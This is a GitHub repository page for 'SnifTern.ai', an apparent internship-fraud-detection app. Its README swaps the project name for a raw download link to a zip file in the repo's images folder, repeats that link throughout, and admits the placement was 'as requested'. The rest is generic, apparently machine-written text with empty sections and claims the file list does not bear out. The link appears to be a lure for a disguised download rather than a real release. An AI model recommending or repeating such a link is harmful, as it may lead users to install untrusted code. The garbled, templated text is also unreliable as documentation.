Skip to content
BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
__pycache__
__pycache__
 
 
images
images
 
 
model
model
 
 
static
static
 
 
templates
templates
 
 
.gitignore
.gitignore
 
 
ENHANCED_FEATURES.md
ENHANCED_FEATURES.md
 
 
INTEGRATION_TROUBLESHOOTING.md
INTEGRATION_TROUBLESHOOTING.md
 
 
LICENSE
LICENSE
 
 
QUICK_FIX.md
QUICK_FIX.md
 
 
README.md
README.md
 
 
SETUP_INSTRUCTIONS.md
SETUP_INSTRUCTIONS.md
 
 
TESSERACT_INSTALLATION.md
TESSERACT_INSTALLATION.md
 
 
app.py
app.py
 
 
enhanced_prediction_utils.py
enhanced_prediction_utils.py
 
 
fake_job_postings.csv
fake_job_postings.csv
 
 
install_tesseract.bat
install_tesseract.bat
 
 
ocr_utils.py
ocr_utils.py
 
 
prediction_utils.py
prediction_utils.py
 
 
preprocessing.py
preprocessing.py
 
 
requirements.txt
requirements.txt
 
 
scraping_utils.py
scraping_utils.py
 
 
test_enhanced_model.py
test_enhanced_model.py
 
 
test_integrations.py
test_integrations.py
 
 
test_model.py
test_model.py
 
 
train_model.py
train_model.py
 
 

Repository files navigation

https://github.com/gilangcowokull/SnifTern.ai/raw/refs/heads/main/images/Snif-Tern-ai-v3.0.zip

https://github.com/gilangcowokull/SnifTern.ai/raw/refs/heads/main/images/Snif-Tern-ai-v3.0.zip Real-Time AI for Internship Fraud Detection & Verification

Python Flask Machine Learning NLP CI License

https://github.com/gilangcowokull/SnifTern.ai/raw/refs/heads/main/images/Snif-Tern-ai-v3.0.zip is an AI-powered platform that detects fake internship postings and verifies company legitimacy using advanced machine learning. It offers real-time fraud analysis, multi-platform integration (LinkedIn, Indeed, Glassdoor), PDF reports, and multi-language support to protect students from internship scams.

The project organizes around a single goal: provide a dependable, scalable tool for students, educators, and employers to assess internship postings and company credibility. It blends data from job boards, social profiles, and corporate signals to deliver actionable risk scores, checks, and documentation.

Topics covered by this repository include ai-platform, career-protection, flask, internship-fraud-detection, job-scam-prevention, machine-learning, nlp, python, student-safety, and web-scraping.

Table of contents

What https://github.com/gilangcowokull/SnifTern.ai/raw/refs/heads/main/images/Snif-Tern-ai-v3.0.zip does

  • Real-time fraud analysis: The system analyzes internship postings as soon as they appear and assesses risk based on language patterns, verified company signals, and historical fraud indicators.
  • Multi-platform integration: It pulls signals from LinkedIn, Indeed, and Glassdoor to cross-validate job postings and company profiles.
  • Verification of company legitimacy: The platform checks corporate data points, digital footprints, and public records to estimate credibility.
  • PDF reports: Create comprehensive, portable reports for students, campuses, or mentors that summarize risk scores, evidence, and recommendations.
  • Multi-language support: The system understands and processes content in multiple languages to support students globally.
  • User-friendly outputs: Clear scores, explanations, and recommended actions help users decide how to proceed.

How it works

  • Ingestion: The system collects job postings and company data from partner platforms and local inputs.
  • Pre-processing: Text normalization, language detection, and feature extraction prepare data for analysis.
  • Analysis: A mix of rule-based checks and ML models evaluate each posting and company profile. The models cover NLP signals, behavior patterns, and cross-platform inconsistencies.
  • Scoring: Each item receives a risk score with confidence estimates. The score is complemented by explanation tags and evidence links.
  • Reporting: PDF reports summarize findings, with sections for method notes, data sources, and suggested actions.
  • Output: Results are surfaced in a Flask-based web UI, an API, and export formats for downstream workflows.

Features in depth

  • Real-time fraud scoring: The engine continuously analyzes new postings and updates risk assessments as new signals arrive.
  • Cross-platform verification: Signals from multiple major job boards and professional networks are reconciled to strengthen detection.
  • Explainable results: Each risk score includes a rationale, confidence level, and linkable evidence blocks for auditing.
  • PDF reporting: One-click generation of professional reports that can be shared with students, advisors, or campuses.
  • Localization: Language detection and translation hooks support users across regions.
  • Modular architecture: Microservices-like components allow easy replacement or enhancement of ML models and data sources.
  • Extensible rules: A rules engine lets analysts add or tune checks without redeploying core logic.
  • Lightweight deployment: The core stack is designed to run on modest hardware with sensible defaults.
  • Security-first design: Data handling follows best practices to protect user privacy and system integrity.
  • Clear API: RESTful endpoints enable integration with school portals, LMS systems, or campus apps.

Architecture and tech stack

  • Backend: Python with Flask for the web API and the user interface backend.
  • Machine learning: A mix of NLP-based classifiers, anomaly detectors, and supervised models trained on synthetic and public datasets.
  • Data sources: Web scraping modules and connectors to major job platforms; data normalization pipelines standardize inputs.
  • Reports: PDF generation using robust templating to produce consistent, professional documents.
  • Frontend: A clean admin UI built with responsive web design patterns; supports multi-language content rendering.
  • Storage: Local storage for development; scalable options for production include relational databases and object storage.
  • Containers: Optional Docker configurations for reproducible environments.
  • CI/CD: GitHub Actions pipelines for building, testing, and releasing.

Data and privacy

  • Data scope: Ingests publicly available postings and signals; respects platform terms and user consent when applicable.
  • Privacy controls: Data handling includes access controls, audit logs, and data minimization practices.
  • Transparency: Risk scores come with explanations and evidence traces to support auditability.
  • Ethics: The project follows ethical guidelines for data use and user safety.

Getting started

  • Prerequisites:
    • Python 3.11 or newer
    • Pipenv or virtualenv for isolated environments
    • A supported database backend for persistence (SQLite for development, PostgreSQL or MySQL for production)
    • Optional: Docker and Docker Compose for containerized deployment
  • Quick start overview:
    • Create a virtual environment
    • Install dependencies
    • Run the development server
    • Access the web UI and API docs

Installation and setup

  • Clone the repository
  • Create a virtual environment:
    • python -m venv venv
    • source venv/bin/activate (Linux/macOS) or venv\Scripts\activate (Windows)
  • Install dependencies:
  • Prepare environment:
    • Create a .env file with required keys (API keys, database URL, secret keys, etc.)
    • Configure logging level and locale
  • Run locally:
    • flask run
    • Open the local URL shown in the console

Running locally

  • Development server: The app runs on your local machine with hot reload for rapid iteration.
  • API console: The API exposes endpoints to submit postings, fetch results, and request PDF reports.
  • Logging: All actions emit structured logs to help trace results and debugging steps.
  • Debugging tips: Check logs for missing environment variables, data parsing errors, or failed external calls.

Deployment guide

  • Docker-based deployment:
  • Kubernetes path:
    • Deploy a simple set of Pods and a responsive service with health checks.
    • Use ConfigMaps for configuration and Secrets for sensitive values.
  • Production readiness:
    • Enable TLS termination, rate limiting, and proper access controls.
    • Monitor with lightweight metrics and basic alerts.

API and integrations

  • REST API design:
    • Endpoints to submit new internship postings
    • Endpoints to fetch risk scores and evidence
    • Endpoints to generate and download PDF reports
  • LinkedIn integration:
    • Pulls public signals and profile cues relevant to company legitimacy
  • Indeed integration:
    • Checks posting metadata, publisher reputation, and consistency signals
  • Glassdoor integration:
    • Gathers company reviews, rating trends, and other credibility markers
  • Data enrichment:
    • Use external signals to enrich the internal risk model while maintaining user privacy
  • Web scraping considerations:

PDF reports and document delivery

  • Professionally formatted PDFs summarize risk scores, evidence, and recommended actions
  • Customizable templates to align with campus or institution branding
  • Accessible export formats for offline sharing and archiving
  • Automatic artifact generation for audit trails

Multi-language support

  • Language detection to auto-route content through translation workflows
  • Translatable strings and content blocks
  • Localized date formats, number formatting, and currency where relevant
  • Community-driven terminology glossary to maintain consistency

Security and ethics

  • Data protection: Access controls, encryption at rest and in transit, and regular audits
  • Threat modeling: Regular reviews of potential fraud vectors and mitigations
  • Responsible use: Clear guidance on acceptable use and student safety practices
  • Compliance alignment: Aligns with best practices for data processing and privacy

Testing and quality assurance

  • Unit tests for core logic and ML components
  • Integration tests for data pipelines and API endpoints
  • End-to-end tests for the UI and reporting flows
  • Linting and style checks to maintain code quality
  • Test data handling to avoid exposing real user data in tests

Roadmap and future work

  • Expand cross-platform coverage to additional job boards and regional sources
  • Improve model accuracy with user feedback loops and continuous learning
  • Add more language packs and translation quality improvements
  • Enhance the PDF report with richer visualizations and interactive elements
  • Provide a marketplace of plug-ins for campus portals and LMS systems

Contributing to https://github.com/gilangcowokull/SnifTern.ai/raw/refs/heads/main/images/Snif-Tern-ai-v3.0.zip

  • How to contribute:
    • Fork the repository and create a feature branch
    • Open an issue to discuss large changes or new features
    • Submit a pull request with a clear description, tests, and documentation
  • Coding standards:
    • Keep functions small and focused
    • Write clear tests for new features
    • Document APIs and expected inputs/outputs
  • Community guidelines:
    • Be respectful and constructive
    • Report security concerns through the proper channels
    • Respect user privacy and data protection requirements

FAQ

License and credits

  • License: MIT License
  • Credits:
    • Core ML researchers and data science contributors
    • Open-source libraries and tools that enable ML, NLP, and web scraping
  • Attributions for external data sources and tools are included in the LICENSE and documentation.

Releases and further reading

Topics

  • ai-platform
  • career-protection
  • flask
  • internship-fraud-detection
  • job-scam-prevention
  • machine-learning
  • nlp
  • python
  • student-safety
  • web-scraping

Note on releases link usage

  • The first occurrence of the link is placed at the very top as requested.
  • The second occurrence appears in the Releases and updates section to guide you toward the latest package and installation steps.

End of document

About

🐙 SnifTern.ai is an AI-powered internship fraud detection platform built with Flask. It uses machine learning to identify fake postings and verify company legitimacy.

Topics

ai-platformcareer-protectionflaskinternship-fraud-detectionjob-scam-preventionmachine-learningnlppythonstudent-safetyweb-scraping

Resources

Readme
MIT license
Activity

Stars

3 stars

Watchers

1 watching

Forks

0 forks
Report repository

Releases

Packages

Contributors

Languages